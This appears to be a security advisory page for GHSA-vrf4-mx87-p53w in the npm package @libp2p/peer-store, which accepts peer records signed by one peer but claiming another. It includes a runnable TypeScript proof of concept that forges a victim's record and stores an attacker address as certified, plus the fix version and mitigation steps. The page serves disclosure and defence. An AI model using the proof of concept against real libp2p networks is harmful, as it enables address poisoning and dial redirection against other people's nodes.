NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

libp2p: PeerStore accepts attacker-signed PeerRecords for a victim peer ID and stores certified attacker addressesGHSA-vrf4-mx87-p53w

HIGHFix: libp2p/js-libp2p#3570

GHSA-vrf4-mx87-p53w is a high-severity (CVSS 8.2) CWE-290 vulnerability in @libp2p/peer-store. A fix is available for @libp2p/peer-store — see the affected versions and patch details below.

Also known asCVE-2026-86039
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 31, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-vrf4-mx87-p53w.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs19th percentile — riskier than 19% of all scored CVEsHighest risk
0.00%0.26%0.51%0.77%0.3%0.3%Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

7other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@libp2p/peer-storenpm
109Kdownloads / week

Description

Summary

@libp2p/peer-store accepts a signed PeerRecord whose envelope is signed by one peer but whose payload claims a different peer ID. The vulnerable consumePeerRecord path verifies the envelope signature, but does not verify that the envelope signer is the same peer as the wrapped PeerRecord.peerId. As a result, an attacker can sign a record with their own key while placing a victim peer ID in the payload, causing attacker-controlled multiaddrs to be stored as certified addresses for the victim.

Details

The vulnerable code is in packages/peer-store/src/index.ts:

  • RecordEnvelope.openAndCertify(buf, PeerRecord.DOMAIN, options) verifies the envelope signature.
  • const peerId = peerIdFromCID(envelope.publicKey.toCID()) derives the envelope signer peer ID.
  • The optional expectedPeer check only compares expectedPeer to the envelope signer.
  • const peerRecord = PeerRecord.createFromProtobuf(envelope.payload) decodes peerRecord.peerId from attacker-controlled signed payload bytes.
  • this.patch(peerRecord.peerId, { peerRecordEnvelope: buf, addresses: ... isCertified: true }) stores the addresses under the payload peer ID, not the verified signer peer ID.

The missing invariant is:

peerRecord.peerId.equals(peerIdFromCID(envelope.publicKey.toCID()))

packages/protocol-identify/src/utils.ts already performs this check and can be used as the reference behavior:

if (!peerRecord.peerId.equals(envelopePeer)) {
  throw new InvalidMessageError('signing key does not match PeerId in the PeerRecord')
}

The gossipsub Peer Exchange path reaches this code via packages/gossipsub/src/gossipsub.ts by calling:

peerStore.consumePeerRecord(pi.signedPeerRecord, { expectedPeer: peer })

This does not prevent the bug because peer is derived from the wire pi.peerID. An attacker can set pi.peerID to their own peer ID, sign the envelope with their own key, and put the victim peer ID inside the wrapped PeerRecord.

PoC

// TypeScript ESM PoC.
import { strict as assert } from 'node:assert'
import { generateKeyPair } from '@libp2p/crypto/keys'
import { defaultLogger } from '@libp2p/logger'
import { peerIdFromPrivateKey } from '@libp2p/peer-id'
import { PeerRecord, RecordEnvelope } from '@libp2p/peer-record'
import { persistentPeerStore } from '@libp2p/peer-store'
import { multiaddr } from '@multiformats/multiaddr'
import { MemoryDatastore } from 'datastore-core/memory'
import { TypedEventEmitter } from 'main-event'

const label = 'Certified peer-record address hijack'

async function main (): Promise<void> {
  const localKey = await generateKeyPair('Ed25519')
  const attackerKey = await generateKeyPair('Ed25519')
  const victimKey = await generateKeyPair('Ed25519')

  const attacker = peerIdFromPrivateKey(attackerKey)
  const victim = peerIdFromPrivateKey(victimKey)
  const attackerAddr = multiaddr('/ip4/203.0.113.66/tcp/4001')

  const peerStore = persistentPeerStore({
    peerId: peerIdFromPrivateKey(localKey),
    datastore: new MemoryDatastore(),
    events: new TypedEventEmitter(),
    logger: defaultLogger()
  })

  // Payload claims victim, but the envelope is signed by attacker.
  const forgedRecord = new PeerRecord({
    peerId: victim,
    multiaddrs: [attackerAddr],
    seqNumber: 999999n
  })
  const forgedEnvelope = await RecordEnvelope.seal(forgedRecord, attackerKey)

  // Emulates gossipsub PX: pi.peerID == attacker, expectedPeer == attacker.
  const accepted = await peerStore.consumePeerRecord(forgedEnvelope.marshal(), {
    expectedPeer: attacker
  })

  assert.equal(accepted, true)

  const poisonedVictim = await peerStore.get(victim)
  assert.deepEqual(poisonedVictim.addresses.map(({ multiaddr, isCertified }) => ({
    multiaddr: multiaddr.toString(),
    isCertified
  })), [{
    multiaddr: attackerAddr.toString(),
    isCertified: true
  }])

  console.log(`${label} reproduced`)
  console.log(`attacker signer: ${attacker}`)
  console.log(`victim storage key: ${victim}`)
  console.log(`stored certified address: ${attackerAddr}`)
}

main().catch(err => {
  console.error(err)
  process.exitCode = 1
})

Expected output:

Certified peer-record address hijack reproduced
attacker signer: 12D3KooWEdL1GaEhVGrhsKhubbiNQxWYTbX27ywm5JJ6W5Zh81gj
victim storage key: 12D3KooWCZBY7mRMDfuWSR9p4X6qJQgNyYXrrnzozW4zSUPSJUFn
stored certified address: /ip4/203.0.113.66/tcp/4001

Impact

Attackers can poison peer-store certified address records for third-party peers. Certified addresses are preferred by dial address sorting, so future dials to the victim may attempt attacker-controlled or invalid endpoints. This can cause reachability disruption, address-book poisoning, and routing manipulation for applications that consume untrusted signed peer records.

This does not by itself let the attacker complete an encrypted libp2p connection as the victim, because the connection upgrade path still verifies the remote peer identity. The demonstrated impact is certified address poisoning and dial redirection/failure, not a full peer identity takeover.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@libp2p/peer-store≥ 8.0.0&&< 12.0.2412.0.24npm install @libp2p/peer-store@12.0.24

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @libp2p/peer-store, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @libp2p/peer-store to 12.0.24 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vrf4-mx87-p53w is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

### Summary `@libp2p/peer-store` accepts a signed `PeerRecord` whose envelope is signed by one peer but whose payload claims a different peer ID. The vulnerable `consumePeerRecord` path verifies the envelope signature, but does not verify that the envelope signer is the same peer as the wrapped `PeerRecord.peerId`. As a result, an attacker can sign a record with their own key while placing a victim peer ID in the payload, causing attacker-controlled multiaddrs to be stored as certified addresses for the victim. ### Details The vulnerable code is in `packages/peer-store/src/index.ts`: - `Reco
O3 Security · Impact-Aware SCA

Is GHSA-vrf4-mx87-p53w in your dependencies?

Find it across npm, including transitive dependencies.

libp2p: PeerStore accepts attacker-signed PeerRecords…